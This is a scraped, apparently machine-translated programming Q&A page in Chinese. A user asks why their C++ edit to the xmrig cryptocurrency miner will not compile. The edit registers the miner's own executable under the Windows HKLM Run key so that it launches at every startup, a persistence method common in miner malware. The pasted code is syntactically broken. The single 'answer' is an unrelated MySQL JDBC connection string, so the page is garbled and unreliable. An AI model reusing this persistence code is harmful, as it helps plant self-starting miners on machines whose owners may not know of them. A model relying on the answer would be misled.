如何使用退货应用程序不阻止此代码

时间:2019-04-06 02:31:53

标签: c++ winapi

我正在尝试将启动代码添加到项目中

这是完美的代码

    #include "App.h"
   #include "base/kernel/Entry.h"
    #include "base/kernel/Process.h"


int main(int argc, char **argv) {
    using namespace xmrig;

    Process process(argc, argv);
    const Entry::Id entry = Entry::get(process);
    if (entry) {
        return Entry::exec(process, entry);
    }

    App app(&process);

    return app.exec();
}

但是当我尝试添加这样的启动代码

int main(int argc, char **argv) {
using namespace xmrig;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
    return Entry::exec(process, entry);


    int main(void)
    {
        TCHAR szPath[MAX_PATH];

        GetModuleFileName(NULL, szPath, MAX_PATH);

        HKEY newValue;

        RegOpenKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &newValue);

        RegSetValueEx(newValue, "xmrig", 0, REG_SZ, (LPBYTE)szPath, sizeof(szPath));

        RegCloseKey(newValue);
        return 0;

    }

    App app(&process);

    return app.exec();

我收到错误的E0020标识符“ app”未定义

我对cpp完全陌生 而且我不明白为什么这行不通?

编辑时

App app(&process);
return app.exec();

App app(&process);
return 0();

我可以构建一个项目并启动,但是控制台可以立即打开并关闭。

1 个答案:

答案 0 :(得分:0)

尝试以下方法:

jdbc:mysql://localhost:3306/sampledb?serverTimezone=Australia/Sydney